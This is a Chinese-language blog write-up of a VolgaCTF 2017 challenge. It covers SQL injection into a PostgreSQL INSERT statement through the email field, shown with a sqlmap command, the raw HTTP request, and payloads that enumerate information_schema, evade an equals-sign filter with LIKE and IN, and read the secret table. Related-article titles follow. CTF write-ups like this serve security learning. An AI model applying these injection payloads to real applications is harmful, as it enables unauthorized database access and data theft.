写这篇文是在昨夜的ctf中遇到的。

ctf地址:bloody-feedback.quals.2017.volgactf.ru

email存在注入,在ctf中发现注入就很好办了,只要找到能绕过的方法就行。发现有pg开头,联想到PostgreSQL数据库

试着补全语句

发现错误回显的有效信息更多了,

ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES

大概的语句就这样

INSERT INTO messages (code,name,message,email,status) VALUES('aaa','aaa','aaa','aaa','aaa')

  email在第四个,所以在补全一个status就行,

找了好久的资料,没发现PostgreSQL的报错方法。

尝试使用sqlmap


➜  sqlmap proxychains4 python sqlmap.py -r 1.txt --dbms=PostgreSQL -p email --prefix "',(" --suffix "))--" -v3

1.txt的内容

➜  sqlmap cat 1.txt
POST /submit/ HTTP/1.1
Host: bloody-feedback.quals.2017.volgactf.ru
Content-Length: 41
Cache-Control: max-age=0
Origin: http://bloody-feedback.quals.2017.volgactf.ru
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://bloody-feedback.quals.2017.volgactf.ru/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close name=aaa&email=aa@qq.com&message=assa

  

发现能识别注入,美滋滋。

接着在跑表,发现需要用枚举的方式来跑。枚举????ctf的表名和字段名从来都很非主流的好嘛!!

还是用手工吧。

小伙伴发现在后面补全的时候,

name=a%27a%27a&email=aa%40qq.com','aaa')--&message=aaa

也就是'aaa'那里,只要不加引号,直接放sql语句也是可以的,回显的话需要访问response给我们的连接

查看当前数据库权限:

然后在访问response的连接就行。

接着查询表名,直接把当前数据库当做放flag的表

name=aaa&email=aa@qq.com',(select table_name from information_schema.tables limit 1 offset 0))--&message=assa

表名:s3cret_tabl3

接着爆列名。

本来的语法应该是name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name='s3cret_tabl3' limit 1 offset 0))—&message=assa

发现等号被过滤了,找了一下发现like也行

于是变换语句

name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name  LIKE 's3cret_tabl3' limit 1 offset 0))—&message=assa

name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name in ('s3cret_tabl3') limit 1 offset 0))--&message=assa

如果宽字节的注入 ,这里不能用引号怎么办?测试了发现mysql的0x和0b在这里不管用。(待解)

列名为s3cr3tc0lumn,

然后直接出来数据。

select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 2

发现这样不需要列名也能直接出数据

select * from s3cret_tabl3 limit 1 offset 4

  

附带一篇Postgres注入方式总结.pdf


PostgreSQL的insert注入的更多相关文章

  1. 织梦内容管理系统(DedeCms) 小说模块insert注入漏洞

    漏洞版本: Dedecms 漏洞描述: DedeCms是免费的PHP网站内容管理系统. 织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户 ...

  2. ZZCMS v8.2 前台Insert注入+任意文件删除

    前几天看了水泡泡老哥的zzcms的审计,在论坛上一搜发现这个cms有不少洞.听说很适合小白练手,所以来瞅一瞅.不知道我发现的这个洞是不是已经被爆过了,如果雷同,纯属巧合. 一.Insert注入,直接返 ...

  3. 关于PostgreSQL的SQL注入必知必会

    一.postgresql简介 postgresql是一款关系型数据库,广泛应用在web编程当中,由于其语法与MySQL不尽相同,所以其SQL注入又自成一派. 二.postgresql的SQL注入:(注 ...

  4. Update、Insert注入技巧

    title: Update.Insert注入技巧 date: 2017-10-23 18:07:57 tags: ["注入"] 审计了不少代码,再看代码的时候最多出现的就是注入,很 ...

  5. sqlserver 2000 insert注入的问题

    一个sql server 2000的注入点猜测语句如下:insert into t1(col1, col2, col3) values('注入点1','数据点2','xxx');注入点1的值可以通过o ...

  6. MySQL&SQL server&Oracle&Access&PostgreSQL数据库sql注入详解

    判断数据库的类型 当我们通过一些测试,发现存在SQL注入之后,首先要做的就是判断数据库的类型. 常用的数据库有MySQL.Access.SQLServer.Oracle.PostgreSQL.虽然绝大 ...

  7. SQL注入测试平台 SQLol -3.INSERT注入测试

    访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...

  8. postgresql + mybatis insert主键自增方法

    postgresql + mybatis插入记录时设置自增主键方法: 一.数据库设置主键自增 1.数据库中id字段选择serial4类型后,会在默认值中生成 nextval('app_id_seq': ...

  9. “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)

    题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...

随机推荐

  1. Idea简单SpringMVC框架配置

    前边已经介绍过了Struts在Idea上的配置,相对于Struts来说,我觉得SpringMVC有更多的优势,首先Struts是需要对action进行配置,页面发送不同的请求,就需要配置不同的acti ...

  2. oracle导出dmp文件的2种方法

    使用exp和expdp导出数据 1.exp导出数据命令 exp gd_base/@192.168.13.211/oanet file=D:\export\gd_base.dmp log=D:\expo ...

  3. SciPy - 科学计算库(上)

    SciPy - 科学计算库(上) 一.实验说明 SciPy 库建立在 Numpy 库之上,提供了大量科学算法,主要包括这些主题: 特殊函数 (scipy.special) 积分 (scipy.inte ...

  4. python 闭包计算移动均值及nonlocal的使用

    class Averager1(): '''计算移动平均值的类第一种写法''' def __init__(self): self.series = [] def __call__(self,new_v ...

  5. pandas 数据分析使用

    https://github.com/Erick-LONG/data_analysis/blob/master/%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%20%E9%8 ...

  6. Java排序算法之快速排序

    Java排序算法之快速排序 快速排序(Quicksort)是对冒泡排序的一种改进. 快速排序由C. A. R. Hoare在1962年提出.它的基本思想是:通过一趟排序将要排序的数据分割成独立的两部分 ...

  7. angular4学习笔记整理(二)angular4的路由使用

    这章说一下angular的路由 先说angular路由怎么引入,一开始new出来的angular项目它路由帮你配好了,但看要看app.module.ts里面 1.首先最上面要引入路由模块 import ...

  8. Python-面向对象(一)-Day7

    Day7-面向对象基础 1一.isinstance(obj, cls) 1二.issubclass(sub, super) 1三.异常处理 11.异常基础 12.异常种类 23.异常其他结构 54.主 ...

  9. Hadoop学习笔记一(HDFS架构)

    介绍 Hadoop分布式文件系统(HDFS)设计的运行环境是商用的硬件系统.他和现存的其他分布式文件系统存在很多相似点.不过HDFS和其他分布式文件系统的区别才是他的最大亮点,HDFS具有高容错的特性 ...

  10. Mego开发文档 - 复杂查询

    复杂查询 Mego 还支持一些更高级的LLINQ查询写法,本文只列出一部分. 分组汇总查询 using (var db = new OrderManageEntities()) { var query ...